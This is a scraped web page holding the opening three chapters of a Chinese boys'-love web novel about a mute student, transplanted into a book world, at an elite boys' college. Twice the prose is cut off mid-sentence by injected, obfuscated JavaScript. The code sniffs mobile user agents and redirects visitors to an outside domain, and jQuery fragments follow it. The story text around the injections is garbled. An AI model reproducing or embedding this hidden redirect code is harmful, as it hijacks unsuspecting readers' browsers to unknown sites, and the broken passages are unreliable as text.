《漂亮小哑巴在贵族男校》
1. 01
《在贵族男校当作精万人迷》
文/竹竹雾
晋江文学城
01
“真搞不懂学校,为什么非要弄几个特招生进来。”
“不是挺好的。不招点特招生,哪有新玩具。”
“呵呵,刚进来没一个月呢,就闹出一大堆乱子。不说别的特招生,就说那个倪知,看着老实,居然在厕所自杀,好恶心。”
“真的假的,我怎么不知道?”
“你当然不知道咯。他偷顾霜纯东西被当场抓住,顾霜纯就是个傻白甜,没和他一般见识还帮他遮掩,他才没背处分,结果他自己想不开,居然去割腕。”
“说不定是苦肉计,他一个小哑巴,心眼居然这么坏……啊——什么东西!”
聊八卦的人正说的兴起,不知哪来的小石子,带着风声,砸在两人身上。
石子不大,力道却格外凶狠,精准地砸中关节,疼得两个人眼泪都落下来,却找不到是哪里扔来的,也不敢说八卦了,一起跌跌撞撞地跑开。
树上,一只纤细苍白、筋骨秀丽的手,正漫不经心地上下抛掷一枚小小的石子。
随着他的动作,脑海里的系统提示音一直在机械地响着:“检测到宿主有不符合人物设定行为,ooc值上涨至20%。”
石子坚硬漆黑,同他冰霜一样白得几乎透明的指尖形成分明的对比,细得像是一捏就断的腕上,尚未完全愈合的伤口依旧鲜红,猛地一看,似是特意系上去的红绳。
高大的洋紫荆树枝干粗壮,倪知坐在上面,纤细修长的腿一条曲起,另一条自然下垂。
他的发长而浓密,没过背脊上大半蝴蝶骨,漆黑似幽深的河流,令人几乎能够想象出,触摸时那种馨软丝滑的触感。
只是他的刘海过长,毫无形状,盖过眉眼,高挺的鼻梁上架着一副黑框眼镜,只露出尖而窄的下颌,苍白似褪了色的月亮,饱满的双唇颜色也是淡淡的,看起来充满了可怜、无害而驯顺的气质。
和他穿书之前的长相有八成相似。
剩下的两成不像是因为,他绝对不会有这样任人宰割的一天。
这是一本书里的世界。
作为校园耽美文,原作背景非常烂大街。
四大家族创办的贵族男校,贵族男校必备的F4。
主角受顾霜纯,出身高贵,长相美丽,刚一入校就成为了校花,但他性格温和善良,柔弱清纯,甚至因为太过天真,显得有些傻白甜,是实至名归的白月光级别人设。
在书中,他因为身体柔弱,常居家中,直到进入大学,直接开始了他作为万人迷团宠开挂一样的人生。
其中学校内地位最高的F4们,也为了他明争暗斗,产生了无数修罗场剧情。
很狗血、很刺激、很甜。
浪漫爱情故事离不开反派的推波助澜,而倪知扮演的角色就是——
主角受的对照组,看起来老实实际不老实,充满了心机的恶毒炮灰受!
原主作为特招生进入这所学校,因为出身贫寒、长相平凡,还是个小哑巴,受到了不少排挤。是主角受最先向他伸出了援手,他却心机颇深,不但偷了主角受的东西,更是在日后一次次地勾引F4,企图飞上枝头变凤凰。
是那种最愚蠢、最为人不齿的反派角色。
但……事实真是如此吗?
手指收紧,石子被慢慢握紧在掌心。
倪知闭上眼睛,静静地感受着原主的记忆。
因为是个哑巴,所以从小敏感内向,不善言辞,像是一朵灰扑扑的小蘑菇,永远安静地长在角落里。
不是原作里从主角受角度描写,看起来老实的心机恶毒受,而是真正的老实人。
就是那种最平凡、最常见、最无聊的老实人。
原主唯一不平凡的,大概就是有一个鸡飞狗跳的家庭。
他的父母在他四岁时离婚,父亲带着第二任妻子,和只比原主小了几个月的弟弟一起,彻底地离开了他们的家,从此再也没有出现过。
直到一个月前,原主进入学院,意外遇到了这个弟弟——
完美无缺的主角受顾霜纯。
原主恨自己的父亲,却没有迁怒顾霜纯,甚至在顾霜纯主动向他示好时,毫无戒心地来到了顾霜纯的琴房。
然后就是一场诬告,一次手段拙劣的陷害。
老实的原主因为自己的天真,付出了惨痛的代价。他无法承受被人当做小偷的耻辱,选择在厕所小小的隔间里,结束了自己的生命。
虽然被及时救下,但原主从此在学校里饱受嘲笑愚弄,也因此,当高高在上的F4对自己投来注视后,原主并没有想那么多,而是抓住救命稻草一样,希望能被拯救。
结局却是成为了F4和顾霜纯play的一环,直接或间接地促进了他们的爱情。
至于原主因为这件事而多么痛苦绝望……
一个炮灰而已,谁会在乎。
倪知:呵呵。
炮灰?
这个词和他有什么关系。
指尖轻轻触碰腕上的伤痕,仍有微不可查的一点疼。
像是无论过去多久,那个老实木讷少年心里的痛苦与绝望都无法淡去。
倪知神情静谧,似是隔着时空,郑重许诺。
那些欺负、伤害你的人,我会一个个找出来。
不需要别人动手,你的仇,我会亲自去报。
似是有什么盛大而浩然的乐章拉开了序幕,风吹得满树紫荆簌簌,如同张开的翅膀,卷着吹入了穹苍。
倪知抬起眼睛,看到远处空地上,一架通体漆黑的直升飞机正缓缓降落。
好吵。
大概五感是相通的,倪知从小不能说话,所以听觉触觉都格外敏锐。
螺旋桨的噪声太大,他微微皱眉,随意地摘下眼镜后,轻盈地自树上跳下。
风吹起他的刘海,露出饱满光洁的额头,秀气的鼻梁,鼻尖微翘,睫浓如羽,凤凰翅一样在眼尾斜斜迤逦,眼尾一道疤痕,似是用玫瑰花汁细细描绘的花钿,为他原本美丽到生出悲悯之意的眉目,添上了绮丽而多情的香艳之色。
但也只是一瞬。
下一刻,头发落回原处,倪知将眼镜戴好,艳光隐去,他仍旧是那个黯淡而不起眼的小哑巴。
地上青葱绿草被吹得向下伏倒,直升飞机停稳,舱门缓缓打开。
机舱内,一道视线落在倪知身上,隔着纷飞的紫荆花,早在倪知察觉之前,便已经望向了他。
-
日光渐沉,暮色高烧似鎏金璀璨。
崇德私立学院环山靠海,群山似温柔环抱,徐徐将校园包裹其中,山脚下,一棵棵洋紫荆树枝繁叶茂,正是花期,细而密的叶羽间,繁花似流泉般倾泻而下,单薄的花瓣随着日光的照耀,如同一团团绯红色的浓云,连树连枝,云蒸霞蔚。
更远处,隐约可见制式古典华丽的高楼尖塔,坐落在最高处的大礼堂顶,彩绘玻璃反照夕阳,如同流过火焰,刻画着百年前建校时的四位创始人身影,永远居高临下,俯瞰着一任任的学生。
钟楼巨大的黄铜大钟被缓缓敲响,钟声流淌在校园之中。
下课时间到,无数学生自教学楼中走出。
与普通大学不同,崇德学院对学院学生着装有严格要求,凡是上课时间,必须穿着校服。
英俊、青春,平均年龄不超过二十岁的少年身上,统一身着纯黑制服,昂贵的布料,合体精良的剪裁,袖口衣角都以金线装饰,脚上的皮鞋不沾一点尘埃。
每个人胸口都佩戴着一枚校徽,校徽呈不规则形,镂空的长剑、火与星尘碰撞,火光中一朵纯金的紫荆花闪闪发光,分别是创校时四大家族的象征。
阎家的长剑。
司家的烈火。
章家的星尘。
以及占比最大,也是权势最盛的席家的紫荆花。
倪知饶有兴趣地低头看了一眼自己胸口的校徽。
自己的和他们的不一样。
少了紫荆花。
整枚校徽看起来一下子就灰扑扑的,再没有了那种尊贵华美的气势。
这就是贵族学院对普通学生和特招生的区别对待。
只有贵族出身,才够资格佩戴紫荆花。
非常傲慢,又非常上位者的想法。
不愧是以一己之力敲定了整个崇德学院雏形的席家。
和剩下三家还装作与民同乐不同,感觉是清清楚楚告诉所有人,崇德不欢迎穷鬼。
人流熙攘,倪知逆着人群向前走去,胸口的校徽灰白暗淡。
他整个人也是不起眼的,凌乱的刘海和款式老旧的眼镜,将整张脸挡得严严实实,身形高挑,但瘦弱憔悴,虽然穿着学校免费为他定制的昂贵校服,脚上搭配的,却是一双有些破旧的球鞋。
走动时,裤腿微微扬起,露出被雪白的棉袜包裹的脚踝。
纤细、修长,向内收拢凹出一个微妙的弧度。
无数目光投来。
在这座需要论资排辈才有资格考取的学院里,平凡不起眼,反而成了一种另类的显眼。
“特招生?”
“哪个?”
“那个偷了顾霜纯东西的倪知啊。”
“这么大胆,校花的东西也敢偷。他不知道,顾霜纯是……罩着的吗?”
倪知目不斜视,忽然有人喊他:“小知——”
倪知当做没听到,声音的主人却没放弃,挤开人群,跑向倪知:“你这一下午都跑哪去了?”
一只手搭在肩上,倪知只好站定,侧过头去,看到了一张熟悉的面孔。
很白的皮肤,很大的一双眼,眉目明媚阳光。校服外套穿得一丝不苟,虽然也是一双旧球鞋,但明显精心打理过,比起倪知来说,家庭情况要好上不少。
尤白羽。
同样也是特招生,在原作里,是原主唯一的朋友。
倪知对着他微微一笑,比了个手语:“不小心在紫荆林睡着了。”
“你身体刚好,跑出去睡觉着凉了怎么办?”尤白羽是个风风火火的性格,摸了摸倪知的手,感觉他的指尖冰凉,从书包里掏出一袋热牛奶给他,“快点喝了吧,不然晚上你怎么撑得下去。”
晚上?他们有什么约吗?
倪知眨了眨眼,有点无辜地看着尤白羽。
尤白羽不明就里,迷茫地低头看看自己。
是有哪里弄脏了吗?
倪知:……
忘了自己戴着眼镜了。
隔着磨得有些花了的镜片,谁能看得到他的表情。
倪知穿书前也是个小哑巴,但因为从小就漂亮,所有人都宠着他,他的脾气大,向来恃靓行凶,不管做了什么,只要眨眨眼,就能让人心甘情愿为他献出一切。
现在别人连他的眼都看不到,他还怎么当坏人!
为什么不干脆把眼镜摘掉……
因为这个ooc系统!
为了让他这个穿书者更好地走完剧情,系统时刻督促他不要ooc,如果ooc值超过60%,会有惩罚,如果达到100%,甚至会将他直接抹杀。
但只要能够按照原作设定,当好这个老实炮灰受,成功走完全书剧情线,倪知就可以恢复健康,不再当哑巴。
看着浮动在20%的ooc值,倪知觉得这个任务不难。
原主是看起来恶毒的老实炮灰受,他则擅长当看起来老实的恶毒大反派。
两个关键词都在,怎么排列组合不是都可以?
至于这副眼镜……也属于原主人物设定的一部分,等以后找个理由再摘下来吧。
倪知将沉重的眼镜往上推了推,在手机上打字问:“晚上有什么事吗?”
“你忘啦?我们要去打工。”尤白羽只以为倪知是受了伤之后,还没有完全恢复,才会这么丢三落四的,“学校虽然减免了我们的学杂费,但生活费还是要自己出。你之前去了医院,现在卡里还有多少钱?”
倪知过去从来没有为了钱发愁过,后知后觉打开网上银行看了一下。
余额:432。
尤白羽凑过来,居然很庆幸说:“还好还有这么多,小知,足够熬到下个月发薪水了!”
真的假的,这个余额还没有验证码长啊!
但这还不足以让倪知具体地体会到贫富差距。
倪知提出,打工前想要先去理个发,尤白羽很惊讶:“你不是说留长发有用,不能剪吗?”
原主隔壁有个小妹妹,得了癌症,化疗的时候把头发都剃光了,原主本来就有留长发的习惯,从那之后就没有剪过,想要等小妹妹十二个疗程的化疗结束之后,把头发剪了送给她做一顶假发。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14957794|161005||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
原主虽然有些懦弱,但是心地真的很善良。
这不属于原作剧情一部分,如果倪知愿意,随时都可以剪掉。
但倪知虽然觉得原主笨,却也想要替他完成这份善举。
倪知打字:“至少把刘海修一修,我要看不到路了。”
原作是个架空世界,故事发生在新港洲。
新港洲分十三郡,原本只有十二郡,是上流圈子里掌握最多话语权的四家牵头,填海造陆,生生扩出第十三郡崇德郡,在这块由金钱堆积而出的土地上,创办了崇德私立学院。
崇德私立学院则分为男校和女校两部分,隔了一座山,管理森严,非重大事宜不许随意离校。
为了伺候这帮公子哥,整个学院里面应有尽有,号称只有想不到,没有学校做不到。
理发店当然也有。
倪知挑了一家装修最朴素的,进去看了一眼就出来了——
洗头888,粗剪1288,精修6888。
看看余额,看看价格。
倪知:)
淦呢。
尤白羽不负书里最佳好友的人设,虽然也觉得很贵,但还是大方道:“不然我先借你,等你手头宽裕慢慢还我。”
倪知有气无力地摇了摇头:“算了。”
尤白羽也不富裕,课后还需要和他一起打工。
花1288剪个刘海,实在是太冤大头了!
倪知仍旧维持着原样,被尤白羽带着到了两人打工的地点。
居然是一家酒吧,纯黑的门头,用暗红的花体字写着L''enfer。
尤白羽问:“这是什么意思?”
倪知打字:“法语的地狱。”
尤白羽:“好酷。”
倪知:“好中二。”
……
倪知默默把打好的字给删掉了。
好中二,但很会抓顾客心理。
一群十八九岁的大学生,正是最中二的时候,喜欢追求一些与众不同,这种带点暗黑哥特风的地方,确实显得很酷。
尤白羽又说:“小知,你懂的好多。居然连法语都会。我记得你选修的不是俄语吗?”
倪知随意地解释:“上次面试之后,回去查了。”
能作为特招生进入崇德的,每一个都是学霸。就像尤白羽,选修的就有德语和日语两门。
原主只选了一门俄语,但倪知穿越之前,很长一段时间都在欧洲居住,那边的语言具有共通性,学会了一门之后,剩下的很容易就串联起来。
倪知打字:“法语的词根一部分是拉丁语,一部分则是高卢语,德语的词根大部分来自于拉丁语,整个欧洲的语言习惯,还不如国内南北方的方言差异大。你下次背单词的时候,有意识地归纳一下,可以事半功倍。”
尤白羽不会觉得倪知是在炫耀,反而很开心:“那样的话,我不就可以多选修一门小语种了。”
倪知被他给逗笑了。
原作写得确实不夸张,他们两个真的是很好的朋友。
两个人在大门只看了一眼,就转去旁边的小巷,从后门进入了酒吧内部,换上侍应生的制服。
不愧是贵族学校里的酒吧,连侍应生的制服都很讲究,白色衬衫,黑色西裤,领口打着黑色领结,两条背带箍在肩上,显得腰线特别高,腰格外的细。
倪知随意找了一根黑色皮筋,把一头长发扎成马尾,利落地束在脑后。
尤白羽说:“不然回去之后,我帮你修剪一下刘海?”
倪知打字:“无所谓。”
他好像有点习惯这种头发缝里看人的感觉了。
而且别人看不到他的眼睛,也不知道他在看哪。
他完全可以光明正大地偷看别人。
……有一种小老鼠的快乐。
倪知鼓起腮,吹了一下刘海,苦中作乐地和尤白羽一起上工。
酒吧这种地方,越夜越热闹,刚来的时候工作不多,两个人一直在后厨帮忙搬东西。
临近九点半,酒吧开始上人,作为学校里唯一可以售卖酒精的地方,几乎一个瞬间,大堂里面人就满了,至于二楼三楼的包厢,那都是留给有预约的贵宾的。
领班来给他们做战前集训:“咱们这里和别的地方不一样,等级森严,没有预约,绝对不许上楼。”
尤白羽举手:“他们硬闯呢?”
领班冷笑一声:“直接丢出去。敢在阎家的地盘放肆,那就是纯纯找死!”
出现了,豪门狗腿经典语录。
作为狗腿的一员,以倪知和尤白羽的资历,只能待在大厅里。
十二点左右,请来的驻唱登场,音乐声震耳欲聋,无数衣着清凉、鲜活年轻的肉丨体在舞池里嗨到天翻地覆。
群魔乱舞。
倪知静静站在角落,微微皱眉。
他并不喜欢这样的场景。
酒吧巨大的纯黑大门,忽然悄无声息向着两侧开启,清冽的风吹入屋内,吹散了满池的酒色财色。
倪知下意识抬眼望去,门外,一行人走了进来。
外面原来下了雨。
月亮被打湿了,散发着朦胧的雾气,投下的月光堪称温柔。
领头的少年身量很高,皮衣短靴,左手戴着半指手套,显得肩宽腰细,手指修长。银色的头发微微打卷,极为嚣张亮眼,前短后长的狼尾,在脑后扎出一个小髻,五官深邃,带着一种吊儿郎当谁也不服的痞气,耳上一排骨钉,颈中丁零当啷挂着几串项链。
一般人这样打扮总显得太过嘈杂俗气,但他长得太帅,这些就都成了点缀。
舞池里不少人都看向他,倪知听到有人压低嗓子,惊喜道:“居然是司一!”
校徽上的烈火。
司家这一代的小少爷司一。
原作里,他是天才作曲人、超级大明星,十六岁时自谱自唱出道,如今刚刚十九岁,已经坐拥千万版权,哪怕不继承家业,这辈子也完全可以躺平了。
这样一个传奇人物,尤白羽也好奇地看过去。
倪知却收回视线,弯腰为客人送酒。
室内乌烟瘴气,蓝红两色灯光折射出无数条光柱,倪知半张面孔隐在暗处,半张落在光里。
他的后颈雪白,弯腰时腰身微微下沉,腿很长,臀很翘,腰细得一手就能握住,却又被垂下的马尾暧昧地遮住。
2. 02
02
当倪知直起腰时,司一已经登上了台阶。
他的腿太长,普通人一次跨一级台阶,他却要跨两级,很快就上到了二楼,拐入包厢不见了踪影。
尤白羽说:“我还是第一次看到F4的人。”
倪知若有所思,尤白羽开玩笑:“怎么了?不会对那个司一一见钟情了吧?”
倪知打字:“他发型还挺好看的。”
感觉扎个小揪揪的话,比直接扎马尾要好看。
倪知打算回去就练习一下这种扎法。
到了这个时间,该喝酒的喝上了,该亲的也亲上了——
不愧是耽美小说世界,大家全是gay啊。
倪知和尤白羽总算可以休息一会儿。尤白羽和倪知小声说八卦,视线扫过门口时忽然顿住,脸色有些变了。
倪知顺着他的视线看去。
不认识。
尤白羽小声说:“是韩麟。”
倪知想起来了,原作里F4的小弟,也是天龙人,负责替F4处理一些上不得台面的事。
很有反差的是,他是书中少数对特招生没有歧视的人,甚至在剧情发展中帮助过倪知。
不过现在,他和他们俩还属于敌对状态——
尤白羽刚入校的时候,误会他霸凌同学,揍了他一拳,两个人从此结下了梁子。
倪知当然无条件站在尤白羽这边!
韩麟身高只比刚刚的司一要矮一点,虽然家世不是学校最顶层的四大家族,但也是金字塔顶尖的一小部分人。他长得很帅,在一群帅哥里面也是能被一眼看到的那种帅,面无表情进来,被人领着往楼上走,走过倪知和尤白羽的时候,突然停了一下脚步。
倪知还以为他会说点什么,没想到他径直上了楼。
尤白羽松了口气,却又有点犹豫。
倪知问:“怎么了?”
尤白羽说:“我想和他道歉。”
倪知竖起耳朵。
他记得这个剧情!
尤白羽揍完韩麟后,才发现自己误会了他,于是想要道歉。但韩麟却没有接受,反而让手下人欺负尤白羽——
虽然后来发现,这是手下人自作主张,韩麟从来没下过这样的命令,但欺负的行为确实货真价实地发生了。
而这件事和倪知有什么关系呢?
作为尤白羽最好的朋友,他也是被欺负的一部分。而且因为他背负着小偷的名声,受到的针对更多。
书本被丢到厕所里,新做的制服被划破淋水,被和尤白羽一起锁在教室里,两人饥寒交迫,要不是F4的某人偶然路过放出他们,他们就只能穿着湿衣服在只有几度的教室里过夜。
而这个剧情安排,只是为了让原主更加痛苦无助,更容易对F4产生向往之情。
倪知:凸
想让他对F4萌生爱情,为什么不安排F4的四个人跪舔他?
尤白羽有点拿不定主意:“你说我要去找他吗?”
倪知坚定地点头:“去!”
尤白羽:“他不接受我的道歉怎么办?”
倪知:“我会帮你。”
如果韩麟不接受道歉,就直接揍他一顿好了。
这是他应得的。
尤白羽以为倪知会帮他一起和韩麟道歉,感动道:“小知,你真好。”
他每次情绪上头,就像是刺猬一样。
小知脾气这么好,肯定比他说的话更加柔和顺耳。
倪知知道尤白羽误会了,对着他笑了笑。
两个人本来还打算下班之后去堵韩麟,没想到领班忽然过来,对着他们俩勾勾手指:“你们俩交好运了,人手不够,跟我去二楼。”
能在二楼服务的,基础工资一晚就要高出一千。
领班一边领他们上去,一边反复强调:“不要东张西望,交头接耳,少爷们让你们做什么就做什么,不许自作主张。”
看看尤白羽和倪知。
一个刺头,一个小哑巴。
领班毫不犹豫选择对着尤白羽强调:“尤其是你,别以为我不知道,你在学校名声可不小。”
敢和韩麟少爷吵架,胆大包天!
又和倪知说:“看着他点。”
倪知乖乖点头,虽然看不太清表情,但是旧旧的鞋子,长长的没经过打理的头发,用到褪色的镜框,还有瘦得有些脱形,露在外面一截腕骨凸起分明得让人心疼。
一看就是个没钱的老实人。
领班也听过倪知偷东西的传言,但今晚一整晚看下来,觉得倪知也没那么不堪。
这所学校里面的流言蜚语很多,真的却少得可怜。
而且,这个倪知真的眼里有活儿。
很多时候不用开口,他就主动去服务客人了。
一个名声很好不服管教的大少爷,和一个勤劳能干名声很差的老实打工人。
领班当然会喜欢后者。
楼上看起来要比下面空旷得多,空气也清新许多,每个包厢的隔音极佳,站在门外一点声响都传不到外面。
走廊尽头,最大的一间包厢门口,守了至少六名保安,看到他们来,审核身份无误后将人放了进去。
里面内有乾坤。
整个包厢极大,分为内外两部分,外面或坐或站着的客人,每个人怀里都搂着最少一个漂亮男孩,却没有倪知想象得放浪形骸,很明显有种收着的味道。
他们在忌惮什么。
或者说,遵循什么必须遵循的规矩。
而且倪知注意到,这间包厢里,一点烟味都没有,有人喝酒,但是没有一个抽烟的。
倪知的鼻子受了一晚上折磨,现在总算舒服了一点,继续低着头往里走,终于到了包厢的核心地带。
豁然开朗。
灯光仍旧昏暗,却没有了那些凌乱的射灯,房间内漂浮着一种清幽寂静的香,类似于佛前梵香,却没有那样的清心寡欲,而是一种金钱才能洗涤出来的微妙气息。
每个能在这个房间有一席之地的人,全都长了一张帅脸,身高最少一米八,腰细腿长,坐在那里,像是拍名利场封面照一样。
而且他们身上都有一种共同的气质。
所谓的“欲丨望被满足后的倦怠”。
死装。
倪知想。
我有钱的时候,比你们还装。
一堆帅哥放在一起,那种震撼感其实就会相对降低。
但帅哥之间亦有差距。
包厢里面放了一张牌桌,牌桌上坐了四个人正在打桥牌。
韩麟也在里面,坐在下首,看到他们进来,像是没看到一样,但是视线余光一直在他们两个的方向绕来绕去。
右边是刚刚在下面见过的司一,正毫无姿态地瘫在那里随手把牌丢出去,看起来很不耐烦,但因为长得太好,哪怕这么没有仪态,看起来也像是一幅画一样。
左边的青年戴着细金丝边框眼镜,整个人身上的颜色都比一般人要浅很多,近似于浅金色的发,琥珀色的桃花眼,白到明显不大正常的皮肤。
他的神情温润,眉目含笑,说话轻声细语,动作优雅,整个人的外表与气质杂糅出一种病态的美感。
章之桓,书香门第章家独子,校内人气极高的学生会主席,大三,二十一岁,有轻微白化病,但面容俊秀,温润如玉,哪怕对待特招生,也极为温柔,是学校内少数不歧视特招生的“好人”。
很斯文的——
败类。
最上首的已经不能算是青年,气质更接近于成熟的男人。眉目格外凌厉,眉心深深皱着深深的纹路,一看就
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14957795|161005||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不是一个好相与的人。
他肩宽背阔,穿着黑色衬衫,臂环箍出线条鲜明的手臂肌肉。这样高大的身形,很容易显得蠢笨,但比起他同样英俊的五官,更引人瞩目的是他身上冷峻的气场,和剩下三人坐在一起,看起来明显成熟沉稳得多。
似是被禁锢的虎豹,充满了压抑的张力。
阎定焱,L''enfer的主人,阎家顺位第三继承人,前面两个继承人分别是他的爷爷和他的母亲。
出身显赫,是正儿八经的太子爷,门口的六个保安,至少三个是为了他来的,说不定以后还能在新闻里看到他,前途不可限量。
这四个人一出来,立刻就把刚刚那群二代比得黯然无光,就好像是电影里面,配角已经很帅了,但和主角站在一起,还是高下立判。
但这还不算完。
包厢最深处放着八扇小叶紫檀木屏风,黑得没有一丝瑕疵的底衬上,以金箔细细描摹着山河日月、花鸟鱼虫。
微微一点光落在上面,也引得那金箔浮光流转,如同融化一般,流艳地汇入屏风前坐着的人身上。
他很高,哪怕坐着,也能看出,身高最少超过一米九。黑色的寸头,理得极短,越发显得整张脸瘦削立体。
冷白色的皮肤,很高的眉骨,很深邃的眼窝,挺直的鼻骨,薄得薄情寡恩的唇,五官立体程度远超一般亚洲人,混血感明显,但又被冷得像是寒星一样狭长漆黑的眼睛所中合。耳后的双头蛇纹身盘旋,从前向后看去,只能看到鲜红的舌信,暧昧地缠绕在耳下,嚣张性感至极。
如果说刚刚那些人身上,是欲望被满足的倦怠,那他身上的气质,则是经年累月的金钱、权势堆积,数代熏陶之后才能有的平静与傲慢。
因为无所不能,所以平静。
却又高高在上,俯瞰一切的傲慢。
哪怕他只是静静坐在那里,什么都没有做,可只要看到他的人,都会不由自主低下眼去,不敢同他对视。
紫荆花的象征。
席家,席惟。
原作设定里,不需要任何的多余介绍,只需要报出他的名字,每个人都会知晓他的身份。
权势滔天,气焰嚣张。
比高富帅高,比高富帅富,比高富帅帅。
但和他有什么关系呢?
他只是一个老实的打工人。
倪知低垂眉目,借着长长的发丝遮挡,将整个包厢看在眼底。
领班带着他们在角落站好,甚至不需要他们去喊什么“少爷好”。
他们根本没有资格占用这些人的时间。
昏暗的场景,唯一的光线都落在五名大少身上。
如果这是电影,那么镜头里,一定只有他们闪闪发光,其他所有人都面目模糊。
金字塔的顶端太拥挤,永远只容得下最少的人数,无论是不是小说,他们都是世界的主角。
倪知在角落,从背后看去,发若流泉,身形纤细,腕上的红痕,在灯影间,艳得惊人。
在场没有人会知道。
在不远的以后,这些高高在上的少爷们,会跪拜在这不起眼的少年脚下,凝视他斜飞入鬓凤凰一般迤逦多情的眼睛,和他鲜红柔软饱满似玫瑰花的双唇。
他们的目光永远追随着他,看到他在日光下肆无忌惮地微笑,漆黑的发似深深的夜色,肌肤如同雪花一般莹润无暇。
想要弄疼他,在他身上染上自己的痕迹。想要弄脏他,要他变得一塌糊涂。却又想要好好地将他捧在掌心,将世上所有美好的一切献在他的足边。
他是月亮降下的神祗,带来最深的欲望和渴求。
权利与金钱,让步于绝对的美丽。
他奖励他们,他惩罚他们。
如日月星辰起落。
无人能够抗衡。
3. 03
03
韩麟有些心不在焉,收回视线丢出一张牌。
和他一组的司一“啧”了一声:“看什么呢?”
韩麟这才发现自己出错牌了。
章之桓扫了一眼进来的尤白羽,视线直接从倪知身上掠了过去,调侃道:“看来是春心萌动。”
韩麟皱眉,把牌扔了:“没劲,不打了。”
上首的阎定焱一直没说话,忽然抬起眼睛。
门外,两名高大的少年拽着一个身穿校服的人,拖垃圾一样拽进来,将他按在包厢正中跪好。
这人明显已经被教训过了,脸上全是青青红红,校服领口被扯破了,看着有些凄惨。
倪知下意识伸出手去,拽住尤白羽。
——原作里,尤白羽嫉恶如仇,经常因为看不惯韩麟和F4的所作所为挺身而出。
尤白羽愣了一下,轻轻对倪知摇了摇头,示意自己不会冲动。
韩麟起身,一脚踹在那人身上。
那人晃了晃倒下,没敢停顿,又艰难地爬起来跪好。
韩麟冷笑道:“东西呢?”
那人说:“都没了……”
“没问你。”韩麟又踹了他一脚,问剩下两人,“说话。”
两个高大的少年大概是他的小跟班,闻言回答道:“麟哥,按您的指示,把这混蛋偷拍的照片都找出来删除了。”
韩麟“嗯”了一声,忽然问:“他都做了什么?”
他这问题莫名其妙,但小跟班还是立刻道:“方雷在整栋宿舍楼的浴室安装摄像头偷拍,拿着照片勒索,前几天还害得有个学生抑郁症发作休学了。”
倪知懂了。
这就是尤白羽以为韩麟霸凌的人,没想到不是霸凌,而是替天行道。
韩麟不语,忽然看向倪知和尤白羽这边。
尤白羽犹豫,倪知戳了他一下,打字给他看:“道歉!”
这个韩麟,演这一出,明显是特意给尤白羽看的。
现在不道歉更待何时!
当然,如果韩麟不接受这善意的道歉,他也有恶意的巴掌等在后面。
倪知有点手痒。
甚至有点期待韩麟还按原剧情走下去了。
可惜……咳,还好韩麟迷途知返。
当尤白羽站出来,结结巴巴地和他道歉,并且向着他深深鞠了一躬之后,韩麟虽然脸色还是冷冷的,却也表示,之前的事一笔勾销。
而后他额外看了倪知一眼。
角落里,倪知低着头,并没有注意到他的视线。
韩麟视线顿了顿,又装作若无其事地移开。
“没想到他这么简单就接受我的道歉了。”尤白羽难掩激动,小声和倪知说,“我还以为他会把那一拳还回来……小知,我觉得他人不坏!”
但倪知一直看着跪在地上的方雷。
尤白羽察觉到了:“小知,怎么了?”
倪知没回答他,直接上前,把方雷给拖了起来。
尤白羽:!
他这举动太突然了,所有人的视线全都被吸了过来。
倪知俯下身看了一眼,向尤白羽打手语。
尤白羽和他从小认识,手语也学了不少,愣了一下,立刻反应过来,替他翻译:“他说这人哮喘犯了,有药吗?”
方雷被倪知拖着,勉强半靠在桌边,呼吸声音很重,只是看着,就让人觉得喘不过气来。
倪知扒开他的眼皮,发现他已经有点意识模糊了,心率也极快,像是脱缰的火车,马上要将这具人体带入真正的地狱。
他说了大家才发现不对。
章之桓道:“让人送药过来。”
偷拍罪不至死,如果方雷真的死在这儿,事情肯定会闹大。
哮喘发作时,必须保持空气流通。
整个包厢唯一的窗户,在屏风后面。
比划手语太慢,倪知随手在桌上抓了一把切水果的小刀,向着屏风掷了过去。
他准头极好,用的巧劲,哪怕力气不大,也精准地划开屏风,撞在玻璃窗上。
玻璃应声而破,细碎的玻璃四溅,折射出无数光影。
其中一枚,划过席惟手背,划出很浅一道红痕。
一粒殷红的血珠慢慢地渗了出来。
席惟没动,面孔淹没在大片阴影中,唯有一双眼睛,亮得惊人,也凉得惊人。
同一时间,原本只有20%的ooc值,猛地飙升至59%,在倪知脑中闪烁着刺目不祥的红光。
不知道是谁倒抽了一口冷气。
倪知皱了一下眉。
到底不是自己过去的身体,长期疏于锻炼,刚刚把人拖起来已经有些吃力,现在居然没控制好力道。
不够精准。
对倪知来说,就是失手。
室外的空气一下子涌了进来,方雷猛地呼出一口气,总算缓了过来。酒吧里的急救医生姗姗来迟,带着人把他抬走送诊。
刚刚的兵荒马乱告一段落。
倪知对着席惟打了个手语:“抱歉,失误了。”
打完才想起来,席惟大概看不懂。
尤白羽连忙帮忙翻译:“实在很抱歉,席惟大人,不小心伤到了您。只是我救人心切,思考不周失了手,真的不是故意的,希望您一定原谅我!”
倪知:?
他怎么不知道,自己的语气有这么卑微。
但更离谱的是,随着尤白羽的翻译,ooc值居然下降了5%!
倪知:???
司一嗤笑一声:“原来一个手势,能说这么多话。”
尤白羽硬着头皮道:“手语就是这样的。”
反正他们肯定看不懂。
现在只要道歉就对了!
“你叫什么?”
席惟忽然问道。
这是他第一次开口,声音不高,整个包厢却瞬间安静下来。
倪知抬起眼睛看向他。
